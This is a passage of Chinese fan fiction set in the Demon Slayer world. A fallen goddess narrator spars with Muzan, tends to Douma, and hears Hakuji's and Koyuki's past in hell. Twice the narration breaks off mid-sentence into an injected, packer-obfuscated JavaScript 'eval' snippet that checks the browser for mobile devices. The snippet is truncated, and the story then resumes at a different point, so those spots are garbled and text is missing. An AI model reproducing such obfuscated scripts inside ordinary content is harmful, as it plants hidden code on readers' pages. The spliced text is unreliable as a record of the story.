“很好,说明他还没有那么无能。本来在无限城一战时,他已经让我失望透顶了,竟然会没发现那个鬼杀队的小姑娘体内藏了毒,简直愚蠢到了极点。” 我微微皱了皱眉,只听那男人冷笑道: “产屋敷一家,连带那些猎鬼人,都是些不可理喻的疯子,在一千多年里没完没了的骚扰我,我已经对他们不胜其烦了。能在地狱里看到他们覆灭,真是令人心情舒畅。” “此处的产屋敷家主不过是怀着执念的亡灵罢了,连同那些驻扎在此处的鬼杀队队士一样,这种胜利不能说明什么。”我淡淡的说。 “不,这说明鬼杀队并非无懈可击,只要回到人世,我就能将那些卑鄙的、只会暗算的人类碾成血沫。”鬼王那张俊美的脸上露出了狰狞的笑,“我要让他们全都跪在我脚下,让他们也尝尝烈焰焚身的滋味,如此才能解我心头之恨。” “仇恨是没有尽头的,无惨大人。” 他猛地回过头,瞳孔是猫一样的细线。 “我说过不准直呼我的名字,你已经犯第二次了。” “名字这东西不让人叫,起了有什么意思呢?”我平静的注视着他,“您是惧怕言灵或是咒术吗?我不会给人下咒的,请放心。” “不要这么不识抬举,女人,我的耐心是有限的,即便是神灵也一样,我从未惧怕过神佛,神佛也未曾给过我报应。” “您都已经在地狱里了,还说没有报应?”我忍不住笑了出来,“真看不出您是如此风趣的人呢。” 几根长鞭似的残影猛地向我抽了过来。我拉起一道水墙,挥刀以水流急速弹开了那些残影。然而下一波鞭子在我落地前截断了我的去路,躲闪不及时,脸上和手臂上已经被擦出了血痕。 非常惊人的攻击范围和速度,精确度也准到可怕。还有些黑烟似的东西试图钻进体内,但碰到我的血后就嘶鸣着化作了白色的蒸汽。 我站在升腾至半空的水流上,冲鬼王笑道:“大人您怕不是忘了,我只是您的合作者,不是您的下属。您的脾气要是总这么差劲,我是要中止合作的。” 这话似乎起了点作用,无惨大人冰冷地盯着我,收回了那些奇怪的鞭子。 这种专横的、自以为是的人,我真是半点也不想靠近。 “看来您恢复的不错,就是心情不怎么好,不如我们改日再谈?” 我尽量礼貌地微笑,克制住了内心想砍他的冲动。因为看到黑死牟大人不知何时已经出现在他身旁,一只手按在了刀柄上。 六目的鬼剑士虽然只是沉默,但那种威压感是真实的。 “诶呀呀,这是怎么了呀?小染,你在天上干什么呢?快下来嘛~” 听到那个熟悉的声音,我暗暗松了口气,于是撤了法术落到地上,童磨一把揽住了我的腰,不动声色地将我扯到他身后,随即挂上了他招牌式的甜腻笑容。 “真是好久不见呐,大人,人家对您可是日思夜想,总算把您盼来啦~” ——不要轻举妄动哦。 他竟然给我发了条难得严肃的脑内讯息。 我默默翻了个白眼,回之: ——你们这位大人有病,你好自为之。 无惨大人沉着一张脸,冷漠地看着他的两位上弦,声音中也毫无感情可言。 “之所以召集你们,是因为我只想弄清楚一件事。”他眯起了那双梅红的眼睛。 “获得我最多血液的你们两个,到底是没用到什么地步,才会被猎鬼人砍掉了脑袋?” 黑死牟大人以标准的武士姿态单膝跪地道:“属下无能。敌方…四人皆为勇士…使用了赫灼之刃…属下辜负了…您的期望。” “您不是都知道了嘛,属下中毒了呀~”童磨笑嘻嘻地说,“那个蝴蝶忍小姑娘非常努力呢,用上了珠世配的毒药,让人家完全没发现呢,诶呀,真是非常过瘾的死法~大人您不用难过,我本人完全不在意的…” 死了以后还能被前老板抓到、在地狱里等着挨骂的,我也是头一回见。 果然无惨大人脸上青筋暴起。下一秒,重重的一鞭就落在了童磨脸上,打的他头都偏了过去。 “蠢货!如果不是因为你的失误打乱了计划,我们完全可以剿灭那些猎鬼人!”无惨大人脸色发黑,仿佛咬碎了一口鬼牙,“我是不是叫你速战速决,解决掉那几个杂鱼后马上去支援黑死牟?你呢?你都做了什么?” “这怎么能怪我嘛?”童磨顶着半张血肉模糊的脸,哀怨地抗议道:“是您说要我控制血鬼术的范围,不要闹得太大把无限城玩坏了,人家就只能慢慢来了呀~再说啦,明明是猗窝座阁下那边先输了,怎么看都是他的位置离黑死牟大人更近吧?” 话音未落,他脸上就又多出一道血淋淋的伤口,虽然快速愈合了,但我握住刀柄的手依然开始微微发抖。 “童磨,我刚刚发现了一件事。”无惨大人阴冷的声音响了起来。 “你什么时候胆敢站着回我的话了?给我跪下!” “诶呀,好不容易才见到大人您,心情实在太激动啦,竟然做出了这种失礼的事嘛?抱歉抱歉~” 那只鬼的脸上绽放出一个灿烂的笑容,特别乖巧地跪了。 于是只剩下我和无惨两个人面面相觑。 可以看得出来,眼前这男人沉迷于别人臣服于他、供他任意践踏的感觉,这可能来自鬼之始祖一千年来凌驾众生之上的地位,也可能只是因为他做人时就飞扬跋扈惯了。 在心里认真计算了一下在黑死牟大人出手之前斩了这个脾气暴躁的鬼王的可能性之后,我后退了半步,单膝跪了下去。 没料到鬼王竟然生硬的冲我扯出一个笑容。 “那位神灵小姐,既然我们是合作关系,你就不必如此客气了。”他语气比刚才稍稍温和了一点,“你和他们不一样,我格外看中你的能力,只要你肯为我效力,我可以特许你不用遵守鬼的那些规矩。” 我也微笑着回答道:“您误会了,大人。作为神灵,我向来是接受跪拜的一方,自诞生以来,还没有向任何存在下跪过。我并非是在跪拜您,我之所以这么做,是因为童磨大人是个懂礼仪、讲义理的人,他又是我的主人,世上哪有主人下跪,仆从站着的道理?同样,我不需要什么特许,您如何对待我的主人,就是如何对待我了。” 无惨森然一笑:“好个伶牙俐齿的女人,你真的不考虑换个主人?” “请您先兑现之前的承诺再说,”我淡然道,“除非您找到了我的御神体,否则我暂时不考虑换主人这种事。” “好,很好。你最好记住你今天说的话,还有,一直以来我想要得到的东西,就没有得不到的。” 那您最好降低点期望,毕竟这里可是地狱。我默默的想。 何况御神体那东西…连我自己都不知道在哪里。 “尽管我对你们十分失望,但现在还不是放弃的时候。”鬼王突然话风一转,声音中带上了蛊惑的意味,“黑死牟,只要那些击败你的猎鬼人还活着,你就仍然有一雪前耻的机会,不要像当年面对那个怪物时那样心慈手软,错失了赢的机会,留下永远的耻辱。” “而你,童磨,我早就说过,你做鬼的天赋是别人的一倍,血鬼术也已经登峰造极,就这样被那些卑鄙的猎鬼人暗算,我不相信你会没有一点怨恨……” “人家是真的没有怨恨哦,大人,”童磨眨眨那对漂亮的七彩瞳,满脸荡漾着幸福,“地狱很好的,您多住一段时间就会喜欢上这里了。其实我一开始也有些不适应,但习惯了之后……” “……闭嘴!”无惨大人终于失去了耐心,“你回去给我好好反省,在把你那畸形的脑子里的水倒干净之前,不要再出现在我面前!” 说罢,鬼王看向了废墟前的空地,眯起了那双红瞳: “你们最好时刻记住,我讨厌变化,因为变化代表着劣化。而劣化了的东西,就没必要再存在下去了。” 不知道从什么时候起,面前的空地上出现了许许多多鬼影,他们大多拥有完整的灵体,只是形态看上去颇为复杂,有的像是人形,有的则根本看不出是个什么东西。 有几个胆子大的跪在了前面,其中包括先前我见过的那个头上长角的老者,以及上次使用雷之呼吸的那个挂着勾玉的少年。 无惨大人对此似乎并不满意,他环视了一下四周,皱眉道: “猗窝座呢?他竟敢不回应我的召唤吗?” “咿咿咿咿…大,大人…到处都没有猗窝座阁下的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无惨大人的出现完全打乱了我们平静的地狱生活,我能确信的是,他不仅对人类而言是场天灾,对鬼来说也算天灾了。 “你是怎么忍了这种人两百年的?” 回家后我第一次产生了想砸点什么东西的冲动,想到房子是刚修好的,只好作罢。 “诶?早就告诉过小染,无惨大人是个严格的人嘛~”童磨很是悠然自得的坐在檐廊下,摆好了双六棋盘,“不要生气啦,大人他一点也没有变,这是好事哦~” “他下次再敢打你,我就砍他。”我认真道,“我说到做到。“ 鬼用扇子掩着脸,笑眯眯地说:“那位大人都说了,要人家好好反省,不要再出现了嘛,所以我最近应该不会再去碍他的眼啦。倒是小染你,这么容易冲动可不像你哦~” 被院子里的夜风一吹,我慢慢冷静下来,走过去坐在他旁边。 “他这种做法太过危险,竟然鼓励那些下级鬼自相残杀吗?这样会引来成群的死灵的,一旦那些东西形成了产屋敷家房子下面那种巢穴……” “那也是没办法的事嘛。”童磨假惺惺地叹了口气,“鬼是没有同族爱的残酷生物,每个上弦都是踩在无数人和鬼的尸体上爬到这个位置的,小染最好不要对鬼的天性抱有幻想哦~另外你还没看出来吗,无惨大人除了很怕死之外,还很怕鬼之间建立联系或是同盟,这样的话,当然要趁着大家还不知道他的血已经失效的时候,以这种办法清理掉大多数的鬼,剩下的才不足以对他构成威胁嘛~” 我皱眉:“威胁?他很强的好不好?攻击速度和范围都很可怕,而且那些带刺的鞭子上似乎有奇怪的东西,因为我的血里有净化之力,才没有被那种黑雾侵蚀。” “那些都是小事。无惨大人之所以是鬼之始祖,就是因为他的血拥有将人类转化成鬼、又能随时控制和杀死被转化的鬼的力量。失去了这种力量,即使是无惨大人,也只是厉害一点的鬼而已。”童磨轻笑道,“今天你和他交手的时候,我有偷偷观察过,珠世那女人不知道到底对他做了什么,他人类的气息竟然比鬼的气息来的更强烈呢~呵呵,这可真是太有趣了~” “这和珠世做了什么恐怕关系不大,”我思忖片刻,说,“而是他残留的人性产生的影响。他虽然是鬼之始祖,却依然没能摆脱人类的情感,乃至受困于人类的恐惧和怨恨,才会变成怨灵这种东西。用他的话来说,这是一种劣化,但这种劣化恰恰发生在了他自己身上,真是……” “可怜的无惨大人,看来死的比我还要惨呢~”童磨懒洋洋地歪在他的软垫上,一手托着下巴,“也不知道他是靠什么恢复了正常的样子,记得上次他来找你时,还很难维持实体吧?” “如果我没猜错的话,他是吞噬了大量下级鬼的灵体。那些失去了血鬼术的鬼,在他看来和人类应该没有什么差别。”我叹了口气,“但那些鬼身上不仅没什么灵力,还有各自的不甘、恐惧和愤怒,这并不能帮助他适应无间地狱的环境,只能让他进一步失去自我。” “地狱的惩罚可真是残酷啊~像无惨大人这种生活在人类中间,已经不太需要狩猎的鬼,大概早就忘了饥饿是什么滋味吧?早知道这样,就该劝劝他不要太过谨慎,多吃点有营养的东西嘛~” 我白了他一眼:“童磨大人以为谁都像你一样什么都敢往嘴里放吗?不小心被毒死的鬼,没资格说别人太过谨慎。” “那还不是怪无惨大人?说开战就开战,人家的晚饭都没吃完。”那只鬼委屈地说,“本来血鬼术用起来就很容易饿嘛,小鸣女送来的又是那么可爱的女孩子,是人家喜欢的类型哦~” 我终于明白无惨大人为什么不想跟他说话了…这鬼的脑子确实是有些与众不同。 “事到如今,能阻止他的大概只有黑死牟大人了。”我无奈地说,“黑死牟大人追随他的时间最长,应该也最能获得他的信任…” “小染还真是笨呐,在那位大人眼里,我们这些上弦也只是随时可以替换的棋子罢了,你不会真的以为他会相信谁吧?” 童磨握着扇子,眼中只有寒冰,脸上却露出了天真又无辜的微笑。 “那位大人总觉得自己永远是掷骰子的人呢,不论猎鬼人还是鬼,他都从未放在眼里过。但如果有一天,骰子不在他手里了,他究竟会怎样呢?真是让人家好奇的很呐~” 62. 神之子(12) 再次来到珠世的那间小屋时,我吃了一惊。那间屋子本身陈设极简单,珠世在的时候,也只是收拾的干净整齐的程度,但现在被装饰了无数颜色各异的花花草草,连拉门上都插了一把不知名的小紫花,开成星星似的一片,甚是好看。 “是狛治哥哥怕我无聊,给我做的。”名叫恋雪的少女红着脸说。 我看着矮桌上那只草编的花篮,竟然编成了一条小船的形状,里面还有草编的小鸟蚱蜢小兔子,不禁暗暗为自己枯燥乏味的生活抹了一把汗。 “狛治阁下手这么巧吗?完全看不出来呀…” “嗯,虽然看上去不爱说话,但其实意外的细心呢。”少女搓着衣角,“以前我生病的时候只能呆在家里,他就会帮我摘花、做各种小东西给我玩,街上卖什么好吃的,也都会带给我一份。” “真是值得羡慕呢…狛治阁下原来是这么温柔的人吗…” 看他打架时那凶狠霸道的拳脚,完全判若两人呢… “所以…变成鬼以后,是都会失去记忆吗?”我问,“哪怕是狛治阁下这么温柔的人,也会变成完全不同的另一个人吗?” ”你想问什么?那种事恋雪不知道,她又不是鬼。” 狛治皱着眉,把一只草筐重重的放在我面前,里面是我带来的鱼,已经烤好了。 这手艺,比谢花梅烤的那黑乎乎的玩意强多了。 “只是随便问问啦,没有别的意思。”我边啃鱼边说,“为什么狛治阁下变成鬼会失忆?” “变鬼相当于死了一次,你知道的吧。”那少年颇有几分不耐烦地说,“被那位…无惨选中的人,身上都有他喜欢的非人特质,但同时,他也会在赐血的时候,故意破坏掉你脑子里作为人类时的记忆,用他的话说,就是让你变完美,我就是这种情况。” “我想起来了!”我恍然大悟道,“你就是那个‘脑子被无惨大人打烂了所以一直不怎么灵光’的猗窝座阁下!” 少年的脸显而易见地黑了下来:“这是童磨那家伙告诉你的?“ “呃,不不,”我尴尬的摆摆手,“他原话肯定比这委婉,呵呵。” “他说的也没错。我当时一心求死,连无惨的手插进了脑袋都没感觉……” 听了狛治的故事,我沉默了很久。 我原本以为谢花兄妹的经历是我听过的世间最悲惨的一个故事,结果人世的事果然没有最悲惨,只有更悲惨。 被鬼伤害的人,可以名正言顺地向鬼复仇,那么被人伤害的人,又该向谁复仇呢? “你不恨人类吗?”我轻声问。 “恨啊,怎么不恨?但我当初明明最痛恨的是没能保护好恋雪和师父的自己,还有那些只会用些见不得光的手段的宵小之辈,变成鬼以后,却只记得自己痛恨弱者。”狛治平静地说,“鬼的心是被扭曲过的,或者说,鬼身上根本不存在‘心’这种东西。” “请不要这么说,狛治哥哥,”恋雪的眼里泛起了泪光,‘你能想起我们,就说明即使是作为鬼的狛治哥哥,也是有心的,不要再这样责怪自己了,你没有做错任何事啊!” 狛治给了少女一个安抚的笑容,随后对我说:“这才是我要来地狱赎罪的原因,我想找回自己作为人类的心。” 作为人类的…心吗? 可是作为人类……真的是好久以前的事了啊。 久到让我怀疑,我们,真的曾经作为人类,活在这个世上吗? 因为眼睛能看到“不干净的东西”,而被家族早早地奉献为祭品,在空荡荡的荒川神社中,伴着蛇神长大的“巫女”。 因为特异的发色和瞳色,而被愚昧贪婪的父母供奉在神坛之上,日复一日地倾听着无数信徒的苦难,却对人类的感情一无所知的“神之子”。 区别只是一个在九岁死去,一个在二十岁死去。 对于我们这样的存在来说,人类的心,到底是什么呢? “我明白了,谢谢狛治阁下。”我向他微微躬身,以示感谢。 名为狛治的少年看着我,那双清澈如水的眼睛极为冷静。 “如果你说的是那个家伙的话,我劝你最好不要抱有幻想。连无惨都说过,那家伙天生就是做鬼的材料,变鬼前后都没差别的。” 我笑了笑:“我知道啊。他喜欢做鬼,那就做,我不觉得做鬼有什么不好。” “即便他吃人,你也能接受?” “我也吃过人,狛治阁下。但神灵这种东西,因为拥有无限的生命,在我们身上发生的变化,往往也比人类需要更多的时间。”我淡淡地说,“我自己已经两百多年没有进食过人肉了,但我知道那种感觉…哪怕是神灵,突然改变自己的食谱,也会引起力量的衰退和一系列不适应的情况。在我看来,童磨大人已经做的很好了。倘若有一天回到人世,他还是戒不掉人类的血肉,我也会想别的办法满足他。在我眼里,人类并不是什么珍贵的、不能触碰的存在,不伤害人类,仅仅是为了让作为‘非人’的我们,更适应人世的生活,不招致太多怨恨罢了。” 狛治表情复杂的笑了笑:“我说是什么样的女人敢跟那个家伙住在一间屋子里,原来你根本不是人啊。” “早就说我是个神灵嘛,狛治阁下不信,我也没办法。”我摊摊手,“但请你们放心,我不吃女孩子。另外,我这次来除了送吃的给你们,还想问问狛治阁下关于你们是怎么来到这里的事,这样我才能想办法把你们送回原先的界域去。” “我凭什么相信你?”狛治冷冷的说,“你既然和那个家伙在一起,一定也是站在无惨那边的吧。” 我摆出一副现实的样子:“我要是站在无惨大人那边,你们几天前就被我交给他了,还省的我去捞这几条鱼给你们吃。再说现在除了信我,你们也没别的出路不是么?” 狛治说他们来到这一重界域时,曾看到过金色的光,在他们出现的地方,大地有一条巨大的裂隙。 结合血雨那天不正常的雷声,我基本可以确认这是‘门’发生了开启,但开启的条件则不甚清楚。这道门显然是通往地狱的其他界域的,条件…应该依然是只允许人类的灵魂通过。 唉,这地方可真是不给鬼活路啊。 说起来,今天这条路似乎有点长啊,穿过前面的树林应该就快到了吧,回去晚了的话那只鬼又要嘤嘤嘤假哭了,咦呃… 突然之间,好像地面发生了翻转一样,我向着一个未知的空间坠落下去。 身体本能的做出了防御姿态,翻身,拔刀,落地,一气呵成。但当看清了眼前的景象,我心底一凉。 这是一间我从未见过的房间,有着彩色琉璃做成的灯盏,深色的、光滑的书架上是码放的整整齐齐的书籍,上面烫金的文字却是我不认识的。地上铺着厚厚的毯子,毯子上的花纹织成了细密繁复的图案,毯子的尽头是一张宽大的书桌,四个脚做成了兽爪的形状,也同样描着金漆。 一种陌生的奢华。 我看着桌上精巧的小物件,终于从我遥远的、人类时期的记忆里,想起了那仿佛是叫做西洋钟的东西。 这种陌生远不至于令我不适,更让我全身发紧的,是那站在桌边,身着洋服的男人。 海藻般卷曲而柔软的黑发,梅红色的眼睛。 暖色的灯光中,他苍白的侧颜没有一处不精致,却透着令人战栗的气息。 男人纤长白皙的手指勾着一只画满花鸟彩绘的瓷壶,长长的、天鹅颈般的壶嘴中倒出了某种深色的液体,落在另一只画满彩绘的小杯子里,不知道为什么,我竟然真的闻见空气中弥漫开奇特的香气。 “你来了,坐。” 他并未抬头,只是将那只精巧的瓷杯放在桌上,声音里透着上位者惯有的优雅和疏离。 我握着刀站了起来,硬生生挤出一个笑容。 “无惨大人,您这幻术使的相当精湛啊。” 死灵之森的幻境能完全模拟灵体生前的记忆和执念,是我疏忽了。但我无论如何也想不通,身为怨灵的无惨大人,为什么如此迅速的学会了构建自己的幻境。 极乐寺的那一次是神灵狩的杰作,但眼前的这位大人…难道已经能吞噬神灵狩了? “这是我在浅草的书房,喜欢吗?” 他答非所问的说,顺手指了指桌前的椅子。 “把刀收起来吧,我们应该是同类不是么,神灵小姐?或者我该叫你…白姬小姐?” 我清晰的感到自己的手抖了一下,似乎心脏被击穿了。 既然如此,便没必要再握刀了。 收起了刀,我索性大大方方的走到那张椅子边坐下,好奇地摩挲着那光滑的好像婴儿皮肤似的扶手。 “喝过咖啡么?”他坐到我对面的椅子上,用一只金色的小勺子搅拌着杯子里的液体,嘴角挂着弧度刚好的微笑,“我猜你没喝过,尝尝看?这是西洋人的发明,我一向很喜欢。“ 我捧起杯子喝了一口,皱眉:“这也太苦了!是草药吗?” “就知道你会这么说。加点糖吧。” 他拿出一只和杯子同样花色的小瓷罐,用一只小夹子从里面夹出一块白色的、四四方方的糖块,丢在我的杯子里。 糖块碰到杯子底,发出叮的一声轻响。我忍不住笑了。 “现在洋糖都做的如此精致了吗?我记得在我那个时候,点心上撒的那一点糖粉就是奢侈了。” “白姬小姐是什么时候堕入地狱的?” “两百年前。“我说。 “那你应该错过了很多。“他低头抿了一口杯子里的液体,“人类的世界发生了很多变化,和江户那时候不一样了。” “我最讨厌变化,但周围的一切都在变化,有时候我想,这算不算是上天的惩罚?” 我决定不再跟他兜圈子。 “您是怎么知道我的名字的?我不记得有告诉过您。” 无惨大人交叉起手指,饶有兴致的看着我。 “在回答这个问题之前,你是否能先回答我,你,为什么要像我一样隐藏自己的名字?” “也没有刻意隐藏。”我淡然道,“白姬是我作为人类和作为神灵时的名字,但我堕入地狱后,这个名字就被剥夺了,换成了‘染’。严格来说,失去了神名和御神体的我,已经不能算作神灵,让您失望了。” “真是太不幸了,这个世界对待我们这些更完美的存在,总是如此不公。” 无惨大人竟然叹息了一声。 我有点摸不准这男人的脾气。明明之前两次见面时,都是个暴戾而疯狂的人,这时候却装的过于温和文雅。 鬼都是会拟态的,这个我懂。 “该轮到您回答我的问题了。” “急什么?我已经很久没和人这样面对面的聊天了,人类也好,鬼也好,都是一样无聊。但你不一样。”他微微眯起了眼睛,“你是我的同类,你也为了一个执念而生,我看得出来。” “您到底想说什么?” “你是两百年前堕入地狱的,为什么?” “这和您有关吗?” “无关,也有关。”他竟然没有生气,“你不说,我自然没法知道你的过去。但是,我记忆里有件事,大概和你有关。” “两百年前,在京那边的一座寺庙里,我遇见了一个孩子。” “那是个非常特别的孩子。我一眼就看出来,不仅是因为他长的和别人不一样,而是他无论从哪个方面而言…都不像是人类。” 我的心在一瞬间抽紧,似乎许久以来最害怕的一样东西,终于在我面前缓缓揭开。 无惨大人只是声音平稳的讲了下去。 “我本来是打算去狩猎的,山里的寺庙嘛,人迹罕至,又是深更半夜,就算都死光了,也不会有人发现。但那个孩子,虽然很年轻,却丝毫不怕我,还好奇的盯着我看。” “你猜他对我说的第一句话是什么?” “我不知道。”我艰难的开口。 “他问我:你是神明大人吗?”无惨笑了笑,“千年以来我转化过这么多的鬼,他是第一个把我当作神明的。你猜那是为什么?” “我…我不知道。” “我当时也不知道,但后来我才发现,那孩子的脑子大概有点问题,虽然装的像个正常的人类,却没办法理解人类的一切,好像什么都记得住,心里却只有一片空白。那座寺庙里的人就再可笑不过了,竟然以为他是神明之子,心甘情愿的听他胡扯什么极乐世界。那就是一群疯子,人类里最愚蠢的那种,而他们所谓的那个神明之子,其实早就疯了。” 我死死抓住自己的手腕:“您不该这么说他…他脑子没有问题,他没疯。” “如果这么想能让你好受一点的话,我没有意见。”无惨大人流露出一丝同情,“别急,马上就要讲到和你有关的部分了。” “他主动对我说,要我把他变成鬼。我本来想直接杀了他,因为我从他身上感知不到任何执念,鬼是为了执念而存在的生物,没有执念,就意味着不会有什么长进。但我还是忍不住问了一句,他为什么想要变成鬼。” “你猜他怎么说?” 无惨大人很有兴趣的看着我,梅红色的眼中,瞳孔是猫一样的细线。 蛇的眼睛其实也是那样,也许是因为这个,他会将我当作同类。 “我不知道。”我说。 “他说的是,他——想要让那些可怜的人得到幸福。” 无惨大人略往前倾了倾身体,轻声说,“你觉得,这不是疯了是什么?” 我勉强笑了笑:“这种理由也能说服您?变鬼还真容易。” “我一开始只是好奇而已。我想知道一个根本没法理解人类的疯子,变成鬼以后要怎样让人类得到幸福。你难道不好奇吗?白姬小姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无惨大人模仿着一种柔和的声音说出了这句话。 “这对于你来说,是珍贵的记忆吗?白姬小姐。我很想知道,一个神灵为什么会在地狱里,现在我明白了,原来是为了这个。但你为什么不事先问清楚呢?也许对方根本没把这东西当回事,也许——” “这都是你一厢情愿的执念罢了。” “你是怎么变成神灵的,我一点也不在乎。但只要童磨是鬼,他就不可能摆脱我,对,我看出来了,你想让他摆脱我,但你怎么可能做到呢?我是所有鬼的始祖,我的血液和细胞曾经在他们的身体里,我了解我的十二鬼月,了解他们所有作为人和作为鬼时的记忆,了解他们的想法和做事情的方式,虽然童磨是我见过最聪明的一个,但你们不要妄想可以反抗我,永远,不要,妄想。” “况且,”无惨大人的声音逐渐变得狂热,“你真的希望童磨记起你吗?白姬小姐?虽然不想承认,但他是目前为止我见过的最完美的鬼了,虽然脑子有点问题,但没有人类的感情,就意味着永远的冷酷和强大。他是即便堕入地狱,也能使用血鬼术的鬼,他注定继承我的意志,没错,虽然我一点也不喜欢他,我也要对你说,他注定继承我的意志,让那些蝼蚁,猎鬼人也好,柱也好的那些卑鄙的东西,让他们死无葬身之地!” “你的这份记忆,对童磨来说什么都不是,只能阻碍他变成完美的存在。所以,请你跟它说再见吧。” 他收紧手指,将那朵枯萎已久的樱花碾碎成粉,以一种炫耀般的姿态抛洒在我面前。 我看着撒在咖啡里的点点白色,轻轻叹了口气。 “无惨大人…您到底想要什么呢?” 男人梅红色的瞳孔微微一缩,面无表情的说:“你什么意思?” “听您说了这么多有的没的,我只听明白一件事。” 我盯着他的眼睛,一字一顿的说:“您是个害怕被人背叛、想把一切都抓在自己手里的可怜的人。” “你又在考验我的耐心,白姬小姐。”鬼王声音嘶哑,透出了几分威胁的意味。 “您叫我染就可以,白姬这个名字,我已经很久不用了,猛一听还以为您在叫别人呢。”我冲他露出一个妩媚的笑,“况且,曾经叫我这个名字的孩子,已经被您杀死了。” “但我并不恨您,我不是珠世小姐,您从我这里得不到憎恨。相反,我感谢您给了童磨大人一条生路,在他想要为自己的命运做出唯一一次选择的时候,您出现在了他面前,说您是拯救他的神明,这一点也不为过。” 我平静地看着鬼王有些扭曲的脸,“您的幻境再完美,也无法掩盖您吞噬的那些鬼没有任何营养的事实。您的灵力波动中有死灵的气息,我能感觉到,大人,人类有句话叫饮鸩止渴,不知您有没有听说过?请您不要再吸收那些死灵,我明白您想要存在下去,但那样只能让您越来越失去理智,越来越痛苦。” “呵,不愧是神灵。既然你连这个也能看穿,就该知道,为了成为永恒的存在,我什么事都做得出来,我是不会输给既定的命数的!” “您输了啊,无惨大人。”我感到了发自内心的悲哀,“虽然您将责任推给了上弦们,但正是您自己输给了猎鬼人,输掉了那场最终的战斗,请承认这一点,放下执念吧,我能给您的忠告也只有这么多了。” 那间灯光温馨的书房在顷刻间崩碎,我跌回到了林子里。 无惨大人估计是彻底被我搞烦了,不知道下次见面时会不会直接抽我? 我爬起来,拍了拍衣服上沾的树叶子,继续往回走去。 那个叫咖啡的东西真难喝。 “我回来了。” 推开院子的门,看到那只鬼坐在檐廊下,笑眯眯地看着我。 “小染回来啦~诶,你怎么啦?是哭过吗?” “是啊,听了狛治阁下和恋雪的故事,感觉好惨。”我走到他面前,“这个给你。” 童磨不明所以地看着那只草编的小鸟,“这是什么呀?“ “小鸟啊,我跟狛治阁下学的,送你玩。” “诶?这也太丑了吧?”他夸张的笑了起来,“完全看不出是只鸟呢,说是狸猫还差不多…” “狸猫就狸猫吧。”我笑了笑,“童磨大人你……” 你真的需要我吗? 从一开始,就是我拼命的想要抓住你的手。 但是,我却没有问过你,你真的需要我吗? “诶?怎么了?”那双漂亮的七彩瞳略有些疑惑的看着我,“小染怎么怪怪的?是遇到什么事了吗?” “没有啊。” 真的对不起,小神子,我就那样失去了你。 “我…希望有一天,童磨大人能得到自由。” 无论我在不在你身边,都愿你能得到自由。 63. 神之子(13) 我在住处附近的林子里蹲了几天,终于把那炸成一堆碎块的时轮拼了个大概。要想完整怕是不可能了,对照着那本记录上手绘的花纹,我发现缺失的部分大多是一些文字,应该是某种咒术,但由于我并没修习过人类的密法,无法还原出那些咒文原本的样子。 拼的烦了,我就坐在树上发呆,总之就是不想回去。 我也不知道这到底是一种怎样的心情在作怪。但只要一想到那名为白姬的女孩最后的希冀,以及她的一切都被如此轻易的遗忘,就不由自主的难过。 她的记忆正如她的生命,像一片白色羽毛那样轻飘飘的落入时间的长河,不知所终。 我是神灵,不该被人类的情感禁锢,但恰恰使我成为完整的神灵的,是我的巫女那强烈的心愿。我的心,我的灵魂,我的珍视之物,都和那个遥远的约定有关。也许是我自己早已无法分清“我”和“她”,于是很自然的将她的人生当作了我的人生,将我自己看作她生命和信念的延续。 你要代替我,守护在他身旁。她说。 请你找到他,不论过了多久,不论他变成了什么样子。她说。 可是,白,我是真的找不回当年在江户城街头遇到的那个孩子了。 那个有着白虹般美丽灵光的孩子,那个明明说过“我们后会有期”却一去不返的孩子。 他记得被他“救赎”的每个信徒,却唯独忘了你,也难怪,你并不是他的信徒,只是他生命中的匆匆过客,你们结识和相伴的时光,就算再怎么难忘,也只有短短的六天而已。 两百年,和六天。 听起来都知道是个可笑的对比。 他对那段记忆的丢弃,来的合情合理。 然而那颗属于人类女孩的心中还抱着不切实际的幻想,幻想有朝一日,还能听到他唤一声“白姬小姐”。 斗转星移,时代变迁,连荒川神社也化作了废墟,但如果世上还有一个人记得那个名字,记得小巫女白姬曾经存在过,我多么希望是他。 然而就像这时轮一样,破碎了的,无法再重现,失去了的,无法再回来。 世上早就没有了极乐教的小神子,只有地狱里的上弦之贰。 世上也早就没有了荒川神社的巫女白姬,只有一个狼狈不堪的堕神。 然而命运却让我们再次相遇,这到底是为什么? 如果不是因为白姬的眷恋,我又为何在业火之界忍受了两百年的烈焰灼身乃至兵刃解体之痛? 如果不是因为白姬的心愿,我又为何身在此时此地,助他破除鬼杀队,帮他和无惨周旋,一心一意想要带他离开这无间地狱? 我,究竟是以谁的身份和意志,一路追随着、守护着那只叫童磨的鬼? 我千方百计地逃避这个问题,只不过是因为我自认一向清醒,自始至终都知道无法从一只本来就缺失情感的鬼身上得到什么,所以才一直坚持以“朋友”自居。 在这件事之后,我更加确信,既然连前因都已经不复存在,那么有朝一日,我也会像白姬一样,被他轻而易举地丢弃,不会在他心上留下半点痕迹。 但为什么,为什么…… 为什么心脏会痛? 为什么双手会发抖? 为什么眼泪会停不下来? 明知道地狱是让人绝望的地方,为什么会允许微小的希望在心底生根发芽? 这就是传说中的因果现前吗?沉沦在无间两百年,我终于要得到我的报应了? 事实证明,人果然不能心烦意乱,心烦意乱就容易…有路人遭殃。 感觉自己蹲的都快头上长草了,我于是打算去鬼杀队驻地那边搜罗一下其他的日轮刀,看看上面的金属能不能用于修补时轮,结果还没到地方,就被空气里浓烈的血腥气吸引了注意力。 在地狱里这么多年,目睹过无数惨状,我还没见过眼前这种景象,用尸山血海来形容也不为过。 一群群,一片片,形态各异的鬼,彼此纠缠着,用爪,用牙,用变异到看不出样子的肢体,撕开对方的喉咙,啃噬对方的身体,搅碎对方的灵魂。它们交织成一张厚重而腐烂的毯子,像是某种奇异的沼泽植物,在眼前的林间、在血红的苍穹下蔓延开来。 